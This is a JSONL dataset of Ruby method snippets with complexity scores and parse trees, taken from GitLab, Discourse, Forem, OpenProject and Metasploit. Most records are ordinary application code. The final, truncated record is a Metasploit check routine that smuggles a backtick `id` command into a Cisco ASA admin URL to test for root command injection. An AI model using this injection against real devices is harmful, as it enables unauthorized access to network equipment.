:\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variables\"]},{\"type\":\"send\",\"children\":[null,\"process_variables\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"provided_variables\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"operation_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"operation_name\"]}]}]}]}]}]}]}","id":"2d98562e-202d-4426-b106-80a6940fbb5d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/rpc/v10/service.rb","start_line":184,"raw_source":"def add_user(user, pass)\n    self.users.each do |r|\n      if r[0] == user\n        r[1] = pass\n        return\n      end\n    end\n    self.users << [user, pass]\n  end","complexity_score":10.53,"ast_json":"{\"type\":\"def\",\"children\":[\"add_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"pass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"users\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]=\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]},{\"type\":\"return\",\"children\":[]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"users\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]}]}","id":"f79132cf-20ee-4729-8632-0fcc6009b8af"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/concerns/op_turbo/component_stream.rb","start_line":109,"raw_source":"def render_flash_message_via_turbo_stream(message:, component: OpPrimer::FlashComponent, **)\n      return if message.blank?\n\n      instance = component.new(**).with_content(message)\n      turbo_streams << instance.render_as_turbo_stream(view_context:, action: :flash)\n    end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"render_flash_message_via_turbo_stream\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"message\"]},{\"type\":\"kwoptarg\",\"children\":[\"component\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpPrimer\"]},\"FlashComponent\"]}]},{\"type\":\"kwrestarg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"instance\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"component\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"forwarded_kwrestarg\",\"children\":[]}]}]},\"with_content\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"turbo_streams\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"render_as_turbo_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"view_context\"]},{\"type\":\"send\",\"children\":[null,\"view_context\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"flash\"]}]}]}]}]}]}]}","id":"c420b30a-2238-4fce-987c-737598a821b6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/analytics/cycle_analytics/sorting.rb","start_line":16,"raw_source":"def apply(sort, direction)\n          sorting_options = {\n            end_event: {\n              asc: -> { query.reorder(end_event_timestamp_projection.asc) },\n              desc: -> { query.reorder(end_event_timestamp_projection.desc) }\n            },\n            duration: {\n              asc: -> { query.reorder(duration.asc) },\n              desc: -> { query.reorder(duration.desc) }\n            }\n          }\n\n          sort_lambda = sorting_options.dig(sort, direction) || sorting_options.dig(:end_event, :desc)\n          sort_lambda.call\n        end","complexity_score":31.0,"ast_json":"{\"type\":\"def\",\"children\":[\"apply\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sort\"]},{\"type\":\"arg\",\"children\":[\"direction\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sorting_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_event\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"asc\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"reorder\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"end_event_timestamp_projection\"]},\"asc\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"desc\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"reorder\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"end_event_timestamp_projection\"]},\"desc\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"duration\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"asc\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"reorder\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"duration\"]},\"asc\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"desc\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"reorder\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"duration\"]},\"desc\"]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sort_lambda\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sorting_options\"]},\"dig\",{\"type\":\"lvar\",\"children\":[\"sort\"]},{\"type\":\"lvar\",\"children\":[\"direction\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sorting_options\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"end_event\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sort_lambda\"]},\"call\"]}]}]}","id":"46049c61-9d79-4671-a687-16e20fecc4ae"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/packages/automated_cleanup.rb","start_line":30,"raw_source":"def gitlab\n      @gitlab ||= begin\n        Gitlab.configure do |config|\n          config.endpoint = api_endpoint\n          config.private_token = gitlab_token\n        end\n\n        Gitlab\n      end\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"gitlab\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@gitlab\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"configure\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"endpoint=\",{\"type\":\"send\",\"children\":[null,\"api_endpoint\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"private_token=\",{\"type\":\"send\",\"children\":[null,\"gitlab_token\"]}]}]}]},{\"type\":\"const\",\"children\":[null,\"Gitlab\"]}]}]}]}","id":"3967ef2b-2362-4c09-9459-8d26c8458549"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/peek/views/detailed_view.rb","start_line":33,"raw_source":"def details\n        call_details\n          .sort { |a, b| b[:duration] <=> a[:duration] }\n          .map { |call| format_call_details(call) }\n      end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"details\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call_details\"]},\"sort\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]},{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"duration\"]}]},\"<=>\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"duration\"]}]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"call\"]}]},{\"type\":\"send\",\"children\":[null,\"format_call_details\",{\"type\":\"lvar\",\"children\":[\"call\"]}]}]}]}","id":"1c57bd74-744a-4c6d-adc7-35c616ae0a20"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/capture.rb","start_line":23,"raw_source":"def initialize(info = {})\n        super\n\n        register_options(\n          [\n            OptPath.new('PCAPFILE', [false, 'The name of the PCAP capture file to process']),\n            OptString.new('INTERFACE', [false, 'The name of the interface']),\n            OptString.new('FILTER', [false, 'The filter string for capturing traffic']),\n            OptInt.new('SNAPLEN', [true, 'The number of bytes to capture', 65535]),\n            OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data', 500]),\n            Opt::RHOST\n\n          ], Msf::Exploit::Capture\n        )\n\n        register_advanced_options(\n          [\n            OptInt.new('SECRET', [true, 'A 32-bit cookie for probe requests.', 'MSF!'.unpack('N').first]),\n            OptAddress.new('GATEWAY_PROBE_HOST',\n                           [\n                             true,\n                             'Send a TTL=1 random UDP datagram to this host to discover the default gateway\\'s MAC',\n                             '8.8.8.8']),\n            OptPort.new('GATEWAY_PROBE_PORT',\n                        [\n                          false,\n                          'The port on GATEWAY_PROBE_HOST to send a random UDP probe to (random if 0 or unset)'])\n          ], Msf::Exploit::Capture\n        )\n\n        begin\n          require 'packetfu'\n          require 'pcaprub'\n          @pcaprub_loaded = true\n        rescue ::LoadError => e\n          @pcaprub_loaded = false\n          @pcaprub_error  = e\n        end\n\n        begin\n          require 'network_interface'\n          @network_interface_loaded = true\n        rescue ::LoadError => e\n          @network_interface_loaded = false\n          @network_interface_error  = e\n        end\n\n      end","complexity_score":30.9,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"PCAPFILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The name of the PCAP capture file to process\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"INTERFACE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The name of the interface\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILTER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The filter string for capturing traffic\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"SNAPLEN\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The number of bytes to capture\"]},{\"type\":\"int\",\"children\":[65535]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"TIMEOUT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The number of seconds to wait for new data\"]},{\"type\":\"int\",\"children\":[500]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RHOST\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Capture\"]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"SECRET\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"A 32-bit cookie for probe requests.\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"MSF!\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"N\"]}]},\"first\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptAddress\"]},\"new\",{\"type\":\"str\",\"children\":[\"GATEWAY_PROBE_HOST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Send a TTL=1 random UDP datagram to this host to discover the default gateway's MAC\"]},{\"type\":\"str\",\"children\":[\"8.8.8.8\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPort\"]},\"new\",{\"type\":\"str\",\"children\":[\"GATEWAY_PROBE_PORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The port on GATEWAY_PROBE_HOST to send a random UDP probe to (random if 0 or unset)\"]}]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Capture\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"packetfu\"]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"pcaprub\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@pcaprub_loaded\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"LoadError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@pcaprub_loaded\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@pcaprub_error\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"network_interface\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@network_interface_loaded\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"LoadError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@network_interface_loaded\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@network_interface_error\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]}]}]}","id":"14f4d777-d34f-435d-af7f-75a512899289"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/clusters/kubernetes/create_or_update_service_account_service.rb","start_line":70,"raw_source":"def create_role_or_cluster_role_binding\n        if namespace_creator\n          begin\n            kubeclient.delete_role_binding(role_binding_name, service_account_namespace)\n          rescue Kubeclient::ResourceNotFoundError\n            # Do nothing as we will create new role binding below\n          end\n\n          kubeclient.update_role_binding(role_binding_resource)\n        else\n          kubeclient.create_or_update_cluster_role_binding(cluster_role_binding_resource)\n        end\n      end","complexity_score":16.7,"ast_json":"{\"type\":\"def\",\"children\":[\"create_role_or_cluster_role_binding\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace_creator\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"kubeclient\"]},\"delete_role_binding\",{\"type\":\"send\",\"children\":[null,\"role_binding_name\"]},{\"type\":\"send\",\"children\":[null,\"service_account_namespace\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Kubeclient\"]},\"ResourceNotFoundError\"]}]},null,null]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"kubeclient\"]},\"update_role_binding\",{\"type\":\"send\",\"children\":[null,\"role_binding_resource\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"kubeclient\"]},\"create_or_update_cluster_role_binding\",{\"type\":\"send\",\"children\":[null,\"cluster_role_binding_resource\"]}]}]}]}","id":"0334dbb3-2b2a-42c8-9686-5778667f1015"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/response_templates_controller.rb","start_line":97,"raw_source":"def can_create_mod_response_templates?\n    authorized_user.accesses_mod_response_templates?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"can_create_mod_response_templates?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorized_user\"]},\"accesses_mod_response_templates?\"]}]}","id":"fe971138-d08b-4b0f-a0ea-0555de70412a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/labels_finder.rb","start_line":121,"raw_source":"def subscribed?\n    params[:subscribed] == 'true'\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"subscribed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subscribed\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"true\"]}]}]}","id":"b74fc04b-e554-4800-9c3b-d91dc5a9e267"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/serializers/chat/structured_channel_serializer.rb","start_line":88,"raw_source":"def chat_message_bus_last_ids\n      @chat_message_bus_last_ids ||=\n        begin\n          message_bus_channels = [\n            Chat::Publisher::CHANNEL_METADATA_MESSAGE_BUS_CHANNEL,\n            Chat::Publisher::CHANNEL_EDITS_MESSAGE_BUS_CHANNEL,\n            Chat::Publisher::CHANNEL_STATUS_MESSAGE_BUS_CHANNEL,\n            Chat::Publisher::NEW_CHANNEL_MESSAGE_BUS_CHANNEL,\n            Chat::Publisher::CHANNEL_ARCHIVE_STATUS_MESSAGE_BUS_CHANNEL,\n          ]\n\n          if !scope.anonymous?\n            message_bus_channels.push(\n              Chat::Publisher.user_tracking_state_message_bus_channel(scope.user.id),\n            )\n          end\n\n          object[:public_channels].each do |channel|\n            message_bus_channels.push(Chat::Publisher.new_messages_message_bus_channel(channel.id))\n            message_bus_channels.push(Chat::Publisher.new_mentions_message_bus_channel(channel.id))\n            message_bus_channels.push(Chat::Publisher.kick_users_message_bus_channel(channel.id))\n            message_bus_channels.push(Chat::Publisher.root_message_bus_channel(channel.id))\n          end\n\n          object[:direct_message_channels].each do |channel|\n            message_bus_channels.push(Chat::Publisher.new_messages_message_bus_channel(channel.id))\n            message_bus_channels.push(Chat::Publisher.new_mentions_message_bus_channel(channel.id))\n            message_bus_channels.push(Chat::Publisher.root_message_bus_channel(channel.id))\n          end\n\n          MessageBus.last_ids(*message_bus_channels)\n        end\n    end","complexity_score":57.7,"ast_json":"{\"type\":\"def\",\"children\":[\"chat_message_bus_last_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@chat_message_bus_last_ids\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message_bus_channels\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Publisher\"]},\"CHANNEL_METADATA_MESSAGE_BUS_CHANNEL\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Publisher\"]},\"CHANNEL_EDITS_MESSAGE_BUS_CHANNEL\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Publisher\"]},\"CHANNEL_STATUS_MESSAGE_BUS_CHANNEL\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Publisher\"]},\"NEW_CHANNEL_MESSAGE_BUS_CHANNEL\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Publisher\"]},\"CHANNEL_ARCHIVE_STATUS_MESSAGE_BUS_CHANNEL\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"anonymous?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_bus_channels\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Publisher\"]},\"user_tracking_state_message_bus_channel\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"user\"]},\"id\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"public_channels\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"channel\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_bus_channels\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Publisher\"]},\"new_messages_message_bus_channel\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_bus_channels\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Publisher\"]},\"new_mentions_message_bus_channel\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_bus_channels\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Publisher\"]},\"kick_users_message_bus_channel\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_bus_channels\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Publisher\"]},\"root_message_bus_channel\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"id\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"direct_message_channels\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"channel\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_bus_channels\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Publisher\"]},\"new_messages_message_bus_channel\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_bus_channels\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Publisher\"]},\"new_mentions_message_bus_channel\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_bus_channels\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Publisher\"]},\"root_message_bus_channel\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MessageBus\"]},\"last_ids\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_bus_channels\"]}]}]}]}]}]}","id":"6a531b82-8e7e-4c9e-96d2-1eb84df28101"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/cisco_asax_sfr_rce.rb","start_line":101,"raw_source":"def check\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, '/admin/exec/session+sfr+do+`id`'),\n      'headers' =>\n      {\n        'User-Agent' => 'ASDM/ Java/1',\n        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])\n      }\n    })\n    return CheckCode::Unknown('The target did not respond to the check.') unless res\n    return CheckCode::Safe('Authentication failed.') if res.code == 401\n    return CheckCode::Unknown(\"Received unexpected HTTP status code: #{res.code}.\") unless res.code == 200\n\n    if res.body.include?('Invalid do command uid=0(root)')\n      return CheckCode::Vulnerable(\"Successfully executed the 'id' command.\")\n    end\n\n    CheckCode::Safe('The command injection does not appear to work.')\n  